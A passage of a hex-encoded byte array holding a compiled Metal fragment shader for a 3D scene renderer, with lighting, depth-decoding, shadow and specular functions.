0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6c,0x69,0x67,0x68,
0x74,0x32,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x70,0x61,0x63,0x6b,0x65,0x64,0x5f,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,
0x67,0x68,0x74,0x32,0x5f,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,
0x72,0x61,0x64,0x69,0x75,0x73,0x3b,0x0a,0x20,0x20,0x20,0x20,0x70,0x61,0x63,0x6b,
0x65,0x64,0x5f,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,0x5f,0x66,0x61,0x6c,0x6c,0x6f,
0x66,0x66,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,
0x69,0x67,0x68,0x74,0x32,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x3b,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x6c,0x69,0x67,0x68,0x74,0x32,
0x5f,0x73,0x70,0x65,0x63,0x75,0x6c,0x61,0x72,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,
0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x66,0x72,0x61,
0x67,0x5f,0x63,0x6f,0x6c,0x6f,0x72,0x20,0x5b,0x5b,0x63,0x6f,0x6c,0x6f,0x72,0x28,
0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x30,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x4e,0x6f,
0x72,0x6d,0x61,0x6c,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,
0x31,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,
0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,
0x28,0x6c,0x6f,0x63,0x6e,0x32,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,
0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x33,0x29,0x5d,0x5d,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,
0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,
0x28,0x6c,0x6f,0x63,0x6e,0x35,0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,
0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,
0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,
0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6f,0x72,0x65,
0x6e,0x5f,0x6e,0x61,0x79,0x61,0x72,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x76,0x69,0x65,0x77,0x5f,
0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,
0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,
0x73,0x75,0x72,0x66,0x61,0x63,0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x26,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x2c,0x20,0x74,
0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x26,0x20,0x61,0x6c,0x62,0x65,0x64,0x6f,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x39,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x39,
0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x31,
0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,
0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,0x20,0x73,0x75,0x72,0x66,0x61,0x63,0x65,
0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x31,0x39,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,
0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,
0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,
0x32,0x32,0x33,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,0x73,0x75,0x72,0x66,0x61,0x63,
0x65,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,
0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x32,0x39,0x20,0x3d,0x20,0x64,0x6f,0x74,0x28,
0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x2c,
0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,0x6f,0x6e,0x29,
0x20,0x2d,0x20,0x28,0x5f,0x32,0x31,0x39,0x20,0x2a,0x20,0x5f,0x32,0x32,0x33,0x29,
0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x33,0x20,0x22,0x73,0x72,0x63,
0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,
0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x5f,0x32,0x34,0x30,0x20,0x3d,0x20,0x72,0x6f,
0x75,0x67,0x68,0x6e,0x65,0x73,0x73,0x20,0x2a,0x20,0x72,0x6f,0x75,0x67,0x68,0x6e,
0x65,0x73,0x73,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x30,0x37,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x28,0x28,0x61,0x6c,0x62,
0x65,0x64,0x6f,0x20,0x2a,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,
0x30,0x2e,0x30,0x2c,0x20,0x5f,0x32,0x31,0x39,0x29,0x29,0x20,0x2a,0x20,0x28,0x28,
0x31,0x2e,0x30,0x20,0x2b,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2a,0x20,0x28,0x28,
0x61,0x6c,0x62,0x65,0x64,0x6f,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,
0x20,0x30,0x2e,0x31,0x32,0x39,0x39,0x39,0x39,0x39,0x39,0x35,0x32,0x33,0x31,0x36,
0x32,0x38,0x34,0x31,0x37,0x39,0x36,0x38,0x37,0x35,0x29,0x29,0x20,0x2b,0x20,0x28,
0x30,0x2e,0x35,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,0x2b,0x20,0x30,0x2e,
0x33,0x33,0x30,0x30,0x30,0x30,0x30,0x31,0x33,0x31,0x31,0x33,0x30,0x32,0x31,0x38,
0x35,0x30,0x35,0x38,0x35,0x39,0x33,0x37,0x35,0x29,0x29,0x29,0x29,0x29,0x20,0x2b,
0x20,0x28,0x28,0x28,0x28,0x30,0x2e,0x34,0x34,0x39,0x39,0x39,0x39,0x39,0x38,0x38,
0x30,0x37,0x39,0x30,0x37,0x31,0x30,0x34,0x34,0x39,0x32,0x31,0x38,0x37,0x35,0x20,
0x2a,0x20,0x5f,0x32,0x34,0x30,0x29,0x20,0x2f,0x20,0x28,0x5f,0x32,0x34,0x30,0x20,
0x2b,0x20,0x30,0x2e,0x30,0x39,0x30,0x30,0x30,0x30,0x30,0x30,0x33,0x35,0x37,0x36,
0x32,0x37,0x38,0x36,0x38,0x36,0x35,0x32,0x33,0x34,0x33,0x37,0x35,0x29,0x29,0x20,
0x2a,0x20,0x5f,0x32,0x32,0x39,0x29,0x20,0x2f,0x20,0x6d,0x69,0x78,0x28,0x31,0x2e,
0x30,0x2c,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,0x5f,0x32,0x31,
0x39,0x2c,0x20,0x5f,0x32,0x32,0x33,0x29,0x2c,0x20,0x73,0x74,0x65,0x70,0x28,0x30,
0x2e,0x30,0x2c,0x20,0x5f,0x32,0x32,0x39,0x29,0x29,0x29,0x29,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x33,0x31,0x38,0x33,0x30,0x39,0x38,0x37,0x33,0x33,0x34,0x32,0x35,0x31,
0x34,0x30,0x33,0x38,0x30,0x38,0x35,0x39,0x33,0x37,0x35,0x3b,0x0a,0x7d,0x0a,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,
0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,
0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x6c,0x61,
0x6d,0x62,0x65,0x72,0x74,0x5f,0x64,0x69,0x66,0x66,0x75,0x73,0x65,0x28,0x74,0x68,
0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,0x74,0x69,
0x6f,0x6e,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x26,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x29,
0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x31,0x31,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,
0x6d,0x61,0x6c,0x2c,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x65,0x63,
0x74,0x69,0x6f,0x6e,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,
0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,
0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,
0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,
0x74,0x68,0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x26,0x20,0x72,0x67,0x62,0x61,0x29,0x0a,0x7b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x35,0x36,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,
0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,
0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,
0x74,0x75,0x72,0x6e,0x20,0x64,0x6f,0x74,0x28,0x72,0x67,0x62,0x61,0x2c,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,0x2e,0x30,0x2c,0x20,0x30,0x2e,0x30,0x30,0x33,
0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,
0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x31,0x2e,
0x35,0x33,0x37,0x38,0x37,0x30,0x30,0x34,0x38,0x31,0x39,0x36,0x30,0x35,0x34,0x39,
0x39,0x35,0x30,0x35,0x39,0x39,0x36,0x37,0x30,0x34,0x31,0x30,0x31,0x35,0x36,0x65,
0x2d,0x30,0x35,0x2c,0x20,0x36,0x2e,0x30,0x33,0x30,0x38,0x36,0x32,0x39,0x32,0x30,
0x31,0x36,0x39,0x39,0x36,0x35,0x39,0x34,0x36,0x31,0x31,0x35,0x35,0x35,0x33,0x33,
0x37,0x39,0x30,0x35,0x38,0x38,0x65,0x2d,0x30,0x38,0x29,0x29,0x3b,0x0a,0x7d,0x0a,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,
0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,
0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,
0x61,0x6c,0x63,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x28,0x66,0x6c,0x6f,0x61,0x74,
0x20,0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x2c,0x20,0x74,0x68,0x72,0x65,
0x61,0x64,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x26,0x20,0x76,0x5f,0x73,0x68,0x61,
0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,
0x74,0x65,0x78,0x74,0x75,0x72,0x65,0x32,0x64,0x3c,0x66,0x6c,0x6f,0x61,0x74,0x3e,
0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,
0x6d,0x61,0x70,0x2c,0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,
0x74,0x20,0x73,0x61,0x6d,0x70,0x6c,0x65,0x72,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,
0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,
0x72,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x36,0x35,0x20,0x22,
0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,
0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,
0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x5f,0x31,0x36,0x39,0x20,
0x3d,0x20,0x76,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x78,
0x79,0x7a,0x20,0x2f,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x28,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x2e,0x77,0x29,0x3b,0x0a,0x20,0x20,0x20,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x31,0x37,0x39,0x20,0x3d,0x20,0x28,
0x5f,0x31,0x36,0x39,0x2e,0x78,0x79,0x20,0x2a,0x20,0x30,0x2e,0x35,0x29,0x20,0x2b,
0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x28,0x30,0x2e,0x35,0x29,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x5f,0x34,0x37,0x36,0x20,0x3d,0x20,
0x5f,0x31,0x37,0x39,0x3b,0x0a,0x20,0x20,0x20,0x20,0x5f,0x34,0x37,0x36,0x2e,0x79,
0x20,0x3d,0x20,0x31,0x2e,0x30,0x20,0x2d,0x20,0x5f,0x31,0x37,0x39,0x2e,0x79,0x3b,
0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,
0x65,0x20,0x31,0x39,0x31,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,0x75,0x5f,0x69,0x6d,0x61,0x67,
0x65,0x5f,0x73,0x68,0x61,0x64,0x6f,0x77,0x5f,0x6d,0x61,0x70,0x2e,0x73,0x61,0x6d,
0x70,0x6c,0x65,0x28,0x75,0x5f,0x69,0x6d,0x61,0x67,0x65,0x5f,0x73,0x68,0x61,0x64,
0x6f,0x77,0x5f,0x6d,0x61,0x70,0x53,0x6d,0x70,0x6c,0x72,0x2c,0x20,0x5f,0x34,0x37,
0x36,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x73,
0x74,0x65,0x70,0x28,0x64,0x65,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,
0x70,0x61,0x72,0x61,0x6d,0x29,0x2c,0x20,0x5f,0x31,0x36,0x39,0x2e,0x7a,0x20,0x2d,
0x20,0x28,0x30,0x2e,0x35,0x20,0x2a,0x20,0x66,0x61,0x73,0x74,0x3a,0x3a,0x63,0x6c,
0x61,0x6d,0x70,0x28,0x30,0x2e,0x30,0x30,0x34,0x39,0x39,0x39,0x39,0x39,0x39,0x38,
0x38,0x38,0x32,0x34,0x31,0x32,0x39,0x31,0x30,0x34,0x36,0x31,0x34,0x32,0x35,0x37,
0x38,0x31,0x32,0x35,0x20,0x2a,0x20,0x74,0x61,0x6e,0x28,0x61,0x63,0x6f,0x73,0x28,
0x63,0x6f,0x73,0x5f,0x74,0x68,0x65,0x74,0x61,0x29,0x29,0x2c,0x20,0x30,0x2e,0x30,
0x2c,0x20,0x30,0x2e,0x30,0x30,0x39,0x39,0x39,0x39,0x39,0x39,0x39,0x37,0x37,0x36,
0x34,0x38,0x32,0x35,0x38,0x32,0x30,0x39,0x32,0x32,0x38,0x35,0x31,0x35,0x36,0x32,
0x35,0x29,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,
0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,0x6e,0x6c,0x69,0x6e,
0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x5f,0x5f,0x28,
0x28,0x61,0x6c,0x77,0x61,0x79,0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,
0x0a,0x66,0x6c,0x6f,0x61,0x74,0x20,0x63,0x61,0x6c,0x63,0x5f,0x73,0x70,0x65,0x63,
0x28,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x26,0x20,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x2c,
0x20,0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x26,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x2c,0x20,
0x74,0x68,0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x26,0x20,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x63,0x6f,0x6e,
0x73,0x74,0x61,0x6e,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,0x5f,0x70,
0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x76,0x5f,0x31,0x31,0x30,0x29,0x0a,0x7b,0x0a,
0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x35,0x32,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,
0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,
0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x23,0x6c,0x69,0x6e,0x65,
0x20,0x31,0x35,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,
0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,
0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x28,0x28,0x38,0x2e,0x30,0x20,0x2b,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,
0x61,0x74,0x5f,0x73,0x68,0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x20,0x2a,0x20,
0x30,0x2e,0x30,0x33,0x39,0x37,0x38,0x38,0x37,0x33,0x34,0x31,0x36,0x37,0x38,0x31,
0x34,0x32,0x35,0x34,0x37,0x36,0x30,0x37,0x34,0x32,0x31,0x38,0x37,0x35,0x29,0x20,
0x2a,0x20,0x70,0x6f,0x77,0x28,0x66,0x61,0x73,0x74,0x3a,0x3a,0x6d,0x61,0x78,0x28,
0x64,0x6f,0x74,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x2c,0x20,0x6e,0x6f,0x72,0x6d,
0x61,0x6c,0x69,0x7a,0x65,0x28,0x6c,0x69,0x67,0x68,0x74,0x5f,0x64,0x69,0x72,0x20,
0x2b,0x20,0x76,0x69,0x65,0x77,0x5f,0x64,0x69,0x72,0x29,0x29,0x2c,0x20,0x30,0x2e,
0x30,0x29,0x2c,0x20,0x76,0x5f,0x31,0x31,0x30,0x2e,0x6d,0x61,0x74,0x5f,0x73,0x68,
0x69,0x6e,0x69,0x6e,0x65,0x73,0x73,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x33,0x35,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x73,0x74,0x61,0x74,0x69,0x63,0x20,0x69,
0x6e,0x6c,0x69,0x6e,0x65,0x20,0x5f,0x5f,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,
